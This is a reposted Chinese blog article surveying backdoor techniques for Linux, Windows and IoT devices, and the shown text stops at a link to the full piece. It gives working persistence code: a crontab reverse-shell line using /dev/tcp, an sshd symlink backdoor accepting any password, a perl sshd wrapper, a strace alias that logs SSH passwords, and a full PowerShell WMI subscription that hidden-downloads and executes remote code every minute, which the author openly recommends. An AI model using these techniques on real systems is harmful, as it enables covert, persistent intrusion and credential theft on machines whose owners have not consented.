专栏名称: 程序猿
本微信公众号:imkuqin,为程序员提供最新最全的编程学习资料的查询。目前已经开通PHP、C/C++函数库、.NET Framework类库、J2SE API查询功能。
目录
相关文章推荐
51好读  ›  专栏  ›  程序猿

那些年,我们一起玩过的后门

程序猿  · 公众号  · 程序员  · 2016-12-28 22:26

正文

来自:安全客资讯平台(微信号: anquanbobao)

链接:http://bobao.360.cn/learning/detail/3218.html (点击尾部阅读原文前往)


前言


没有最好的后门,只有最合适的后门。


时光荏苒,岁月如梭,在这篇文章里,我将对后门的各种形式进行解读和总结,这不仅仅是能帮你找到回忆,更希望的是能给予大家帮助、启发思考。


后门种类繁多,林林总总,根据不同的需求出现了很多奇怪好玩的后门。它可以是一行简单的代码,也可以是复杂的远控木马,它可以是暴力的,也可以是很优雅的。


在整体架构上,一个优秀的后门应该充分考虑其功能、触发方式和通信方式等方面。针对不同的方面,杀软也会根据其特征进行处理。为了进一步的持续性控制以及后渗透,后门越显复杂化。从后门的发展史中可看出,这是一场攻与防的持续性较量。


从终端平台的角度看,后门可分为Linux型、Windows型和IOT型;


对于Linux而言,从后门的形式上看,可分为配置型、logger型和rookit型;

对于windows而言,从后门触发方式的角度看,可分为Registry型、Schtasks型和WMI型;

从通信方式的角度看,后门可分为http/https型、irc型、dns型、icmp型等等;

从网站应用的角度看,后门可分为模块扩展型、后端语言型和配置文件型。

......


终端类


一、Linux后门


1、配置型


这里的配置型是指借助Linux系统本身的一些特性来完成后门布置功能。


1.1 crontab后门


运维经常会用到该命令,这相当于windows的计划任务,规定时间来执行指定命令。这通常与反弹shell一起运用。

(crontab -l;printf "*/5 * * * * exec9 /dev/tcp/localhost/8080&&exec0&92>&1&&/bin/bash --noprofile –I;\rno crontab for `whoami`%100c\n")|crontab -

1.2 ssh公钥免密


将客户端生成的ssh公钥写到所控服务器的~/.ssh/authorized_keys中,然后客户端利用私钥完成认证即可登录。


客户端:

$ ssh-keygen -t rsa   
$ ls   
id_rsa  id_rsa.pub

把id_rsa.pub写入服务端的authorized_keys中,并修改好相应权限。


服务端:

$ chmod 600 ~/.ssh/authorized_keys   
$ chmod 700 ~/.ssh

这种后门的特点是简单易用,但在实战中会被服务器的配置环境所限制,以及容易被发现。


1.3 软连接后门

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

经典后门。直接对sshd建立软连接,之后用任意密码登录即可。

ssh root@x.x.x.x -p 5555

但这隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。


1.4 SSH Server wrapper

# cd /usr/sbin/   
# mv sshd ../bin   
# vim sshd   
#!/usr/bin/perl   
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);   
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

赋予权限chmod 755 sshd,最后正向连接:

socat STDIO TCP4:target_ip:22,sourceport=19526

其中,\x00\x00LF是19526的大端形式,便于传输和处理。


原理是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。隐蔽性比刚刚介绍的软连接后门要好。


2、logger型


2.1 alias后门


这种通过替换命令来使得evil效果最大化的用法,一般是通过追踪ssh的系统调用比如read、write等来记录下ssh的操作。


在当前用户的.bashrc下添加如下代码:


alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh'

当然,这只是alias后门的一种用法,可根据具体情况举一反三。


2.2 pam后门


pam是一种认证机制,它可帮助管理员快速方便地配置认证方式,并且无需更改服务程序。这种后门主要是通过pam_unix_auth.c打补丁的方式潜入到正常的pam模块中,以此来记录管理员的帐号密码。搭建方式见下连接。


2.3 openssh后门


同理,也是下载对应的恶意补丁包,来记录管理员的帐号密码。但该后门与pam后门存在很大的问题是编译环境,有时在实战中会出现各种各样的问题。搭建方式见下连接。

http://www.tuicool.com/articles/eIv22az


3、rookit型


3.1 应用级rootkit


应用级rookit的主要特点是通过批量替换系统命令来实现隐藏,如替换ls、ps和netstat等命令来隐藏文件、进程和网络连接等,有时会有守护进程来保证后门的稳定性。推荐两款常用的木马:mafix和brookit。如果想要学习linux类木马,推荐阅读orange的tsh源码,基本上涵盖了常规木马应具有的特点。


3.2 内核级rookit


隐藏性通常要借助对linux系统调用的截获来达到目的,并且难以查杀,难以清除,危害巨大。


由于未找到相应例子,遂不做具体分析。希望有同学能补充。


二、windows后门


windows后门博大精深,实在不好分类,因为后门常需持久化潜在运行,受到powersploit中persistence脚本的启发,因此采取使用后门的触发方式进行分类,分为registry型、schtasks型和WMI型。


1、registry型


在一般用户权限下,通常是将要执行的后门程序或脚本路径填写到如下注册表的键值中HKCU:Software\Microsoft\Windows\CurrentVersion\Run,键名任意。普通权限即可运行。


不过这老生长谈的后门早已被用烂,360杀软会弹框提示。


2、schtasks型


该类型后门可分为管理员权限和普通用户权限,管理员权限可以设置更多的计划任务,比如重启后运行等。


举例:

每小时执行指定命令:

schtasks /Create /SC HOURLY /TN Updater /TR $CommandLine

这里比较大的限制是策略问题,只能按照规定的时间来执行相关程序或命令。通常来讲,持久性的APT对于这点要求较高。


3、WMI型


Defcon23的演讲后,WMI型后门的热度在国外迅速蔓延。(强烈推荐使用该类型后门)

它是只能由管理员权限运行的后门,一般是用powershell编写。目前以这一触发方式运行的后门是不会引起杀软任何反映的。具体原理可到drops去了解。


该类型后门主要用到了WMI展现出来的两个特征:无文件和无进程。


将core code加密存储于WMI类的property中,而该位置在复杂的CIM 数据库中,这达到了所谓的无文件;将filter和consumer异步绑定在一起,当规定的filter满足条件时,比如间隔1min,那么系统会自动启动一进程(名称为powershell)去执行consumer(后门程序)中的内容,当执行完成后,进程会消失,持续的时间根据后门运行情况而定,一般是几秒,这达到了所谓的无进程。


上述三类的详情代码请参考powersploit


现阶段无论再复杂的WMI后门都是围绕上面两点而展开的,最核心的是后者。


下面是比较典型的代码,功能为每分钟执行‘下载并执行’:

$Name = 'test'   
# build the filter   
$TimeExecTime = 60   
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN    
                        $TimeExecTime WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"   
$NS = "root\subscription"   
$FilterArgs = @{   
    Name=$Name   
    EventNameSpace="root\cimv2"   
    QueryLanguage="WQL"   
    Query=$Query   
}   
$Filter = Set-WmiInstance -Namespace $NS -Class "__EventFilter" -Arguments $FilterArgs   
# build the consumer   
$ConsumerName = $Name   
$command = "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy = [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.DownloadString('$URL'))"   
#$encCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))   
$commandLine = "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -NoP -NonI -w hidden -Command $command"     
$ConsumerArgs = @{   
    Name=$ConsumerName   
    CommandLineTemplate=$commandLine   
}   
$consumer = Set-WmiInstance -Class "CommandLineEventConsumer" -Namespace $NS -Arguments $ConsumerArgs   
#Bind filter and consumer   
$Args = @{   
   Filter = $Filter   
   Consumer = $consumer   
}   
Set-WmiInstance -Class "__FilterToConsumerBinding" -Namespace "root\subscription" -Arguments $Args

也出现过一些流氓软件比如xxx使用这种方式来达到“删不掉”的效果。


三、IOT后门


物联网的脆弱性因Mirai恶意软件的肆用而不断凸显,特别是弱口令的泛滥、致使了大批物联网设备沦陷。其中造成的危害不言而喻,不但可以耗用其资源,更可怕的是可能利用设备本身的功能造成意料不到的伤害。如果单单从技术的角度上讲,Mirai确实是一款非常优秀的恶意软件。在这里,我们只讨论它们的后门特性:


1、进程


对于运行时进程的处理,Mirai采用的是进程名随机,也算是为了不被特征提取所采取的一个措施。



2、防重启


因为IOT设备的特殊性,无法将程序写进设备中,只能驻留在内存里,所以需不能使设备重启。在固件里,有一进程会不断向watchdog进程发送一字节数据,如果没有该操作,设备则会重启。Mirai采取的是关闭watchdog的功能。



3、通信协议


该过程可以分为


上线过程:bot发送\x00\x00\x00\x01,得到回应后再发送\x00;

心跳过程:bot间隔60s发送\x00\x00cnc,cnc回应\x00\x00;

解析执行:cnc对bot发出的指令里采取了一定的格式。







请到「今天看啥」查看全文